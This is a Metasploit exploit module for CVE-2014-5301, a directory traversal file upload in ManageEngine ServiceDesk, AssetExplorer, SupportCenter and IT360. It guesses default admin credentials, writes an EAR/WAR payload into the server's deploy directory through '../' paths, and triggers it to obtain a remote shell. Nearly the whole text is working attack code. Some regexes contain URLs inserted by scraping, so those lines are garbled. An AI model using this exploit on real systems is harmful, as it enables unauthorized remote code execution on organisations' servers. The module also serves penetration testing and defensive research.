1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name'=> 'ManageEngine Multiple Products Authenticated File Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts the upload does not handle correctly '../' sequences, which can be abused to write in the file system. Authentication is needed to exploit this vulnerability, but this module will attempt to login using the default credentials for the administrator and guest accounts. Alternatively you can provide a pre-authenticated cookie or a username / password combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been been tested successfully in Windows and Linux on several versions. }, 'Author'=> [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ ['CVE', '2014-5301'], ['OSVDB', '116733'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, # Privileged on Windows but not on Linux targets 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets'=> [ [ 'Automatic', { } ], [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', { 'attachment_path' => '/workorder/Attachment.jsp' } ], [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', { 'attachment_path' => '/common/FileAttachment.jsp' } ], [ 'IT360 v8-v10.4', { 'attachment_path' => '/common/FileAttachment.jsp' } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Dec 15 2014')) register_options( [ Opt::RPORT(8080), OptString.new('JSESSIONID', [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to']) ], self.class) end def get_version res = send_request_cgi({ 'uri'=> '/', 'method' => 'GET' }) # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) version = [ 9999, 9999, 0, 'sd' ] if res && res.code == 200 if res.body.to_s =~ /ManageEngine ServiceDesk/ if res.body.to_s =~ / \| ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ output = $1 version = [output[0].to_i, output[2].to_i, '0', 'sd'] end if res.body.to_s =~ /src='https://www.exploit-db.com/exploits/35845/\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds version[2] = $1.to_i elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine AssetExplorer/ if res.body.to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || res.body.to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ output = $1 version = [output[0].to_i, output[2].to_i, 0, 'ae'] end if res.body.to_s =~ /src="https://www.exploit-db.com/exploits/35845/\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version version[3] = 'sc' if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # ... but get the build number if we can find it version[2] = $1.to_i end elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ # IT360 newer versions version[3] = 'it' end elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ # IT360 older versions, not a very good detection string but there is no alternative? version[3] = 'it' end version end def check version = get_version # TODO: put fixed version on the two ifs below once (if...) products are fixed # sd was fixed on build 9031 # ae and sc still not fixed if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || (version[3] == 'sc' && version[2] < 99999) return Exploit::CheckCode::Appears end if (version[2] > 9030 && version[3] == 'sd') || (version[2] > 99999 && version[3] == 'ae') || (version[2] > 99999 && version[3] == 'sc') return Exploit::CheckCode::Safe else # An IT360 check always lands here, there is no way to get the version easily return Exploit::CheckCode::Unknown end end def authenticate_it360(port, path, username, password) if datastore['DOMAIN_NAME'] == nil vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'false' } else vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'true', 'domainName' => datastore['DOMAIN_NAME'] } end res = send_request_cgi({ 'rport'=> port, 'method' => 'POST', 'uri'=> normalize_uri(path), 'vars_get' => { 'service' => 'ServiceDesk', 'furl'=> '/', 'timestamp' => Time.now.to_i }, 'vars_post' => vars_post }) if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies else return nil end end def get_it360_cookie_name res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/") }) cookie = res.get_cookies if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ return $1 else return nil end end def login_it360 # Do we already have a valid cookie? If yes, just return that. if datastore['IAMAGENTTICKET'] cookie_name = get_it360_cookie_name cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' return cookie end # get the correct path, host and port res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.redirect? uri = [ res.redirection.port, res.redirection.path ] else return nil end cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) if cookie != nil return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') if cookie != nil return cookie else # Try one more time with the default admin login for some versions cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') if cookie != nil return cookie end end end nil end # # Authenticate and validate our session cookie. We need to submit credentials to # j_security_check and then follow the redirect to HomePage.do to create a valid # authenticated session. # def authenticate(cookie, username, password) res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_post' => { 'j_username' => username, 'j_password' => password, 'logonDomainName' => datastore['DOMAIN_NAME'] } }) if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/)) # sd and ae respond with 302 while sc responds with a 200 return true else return false end end def login # Do we already have a valid cookie? If yes, just return that. if datastore['JSESSIONID'] != nil cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';' return cookie end # First we get a valid JSESSIONID to pass to authenticate() res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.code == 200 cookie = res.get_cookies authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD']) if authenticated return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password authenticated = authenticate(cookie, 'administrator', 'administrator') if authenticated return cookie else # Try one more time with the default admin login for some versions authenticated = authenticate(cookie, 'admin', 'admin') if authenticated return cookie end end end end nil end def send_multipart_request(cookie, payload_name, payload_str) if payload_name =~ /\.ear/ upload_path = '../../server/default/deploy' else upload_path = rand_text_alpha(4+rand(4)) end post_data = Rex::MIME::Message.new if @my_target == targets[1] # old style post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"") post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"") post_data.add_part('', nil, nil, "form-data; name=\"vec\"") post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"") post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"") post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"") post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"") else post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"") post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"") end data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(@my_target['attachment_path']), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie }) return res end def pick_target return target if target.name != 'Automatic' version = get_version if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') || (version[0] == 4 && version[3] == 'ae') || (version[3] == 'sc') # These are all "old style" versions (sc is always old style) return targets[1] elsif version[3] == 'it' return targets[3] else return targets[2] end end def exploit if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable") end print_status("#{peer} - Selecting target...") @my_target = pick_target print_status("#{peer} - Selected target #{@my_target.name}") if @my_target == targets[3] cookie = login_it360 else cookie = login end if cookie.nil? fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate") end # First we generate the WAR with the payload... war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => war_app_base }) # ... and then we create an EAR file that will contain it. ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" app_xml << '<application>' app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>" app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>" app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>" # Zipping with CM_STORE to avoid errors while decompressing the zip # in the Java vulnerable application ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) ear_file.add_file(war_app_base + '.war', war_payload.to_s) ear_file.add_file('META-INF/application.xml', app_xml) ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear' if @my_target != targets[3] # Linux doesn't like it when we traverse non existing directories, # so let's create them by sending some random data before the EAR. # (IT360 does not have a Linux version so we skip the bogus file for it) print_status("#{peer} - Uploading bogus file...") res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4))) if res && res.code != 200 fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed") end end # Now send the actual payload print_status("#{peer} - Uploading EAR file...") res = send_multipart_request(cookie, ear_file_name, ear_file.pack) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful") else fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed") end 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri'=> normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end |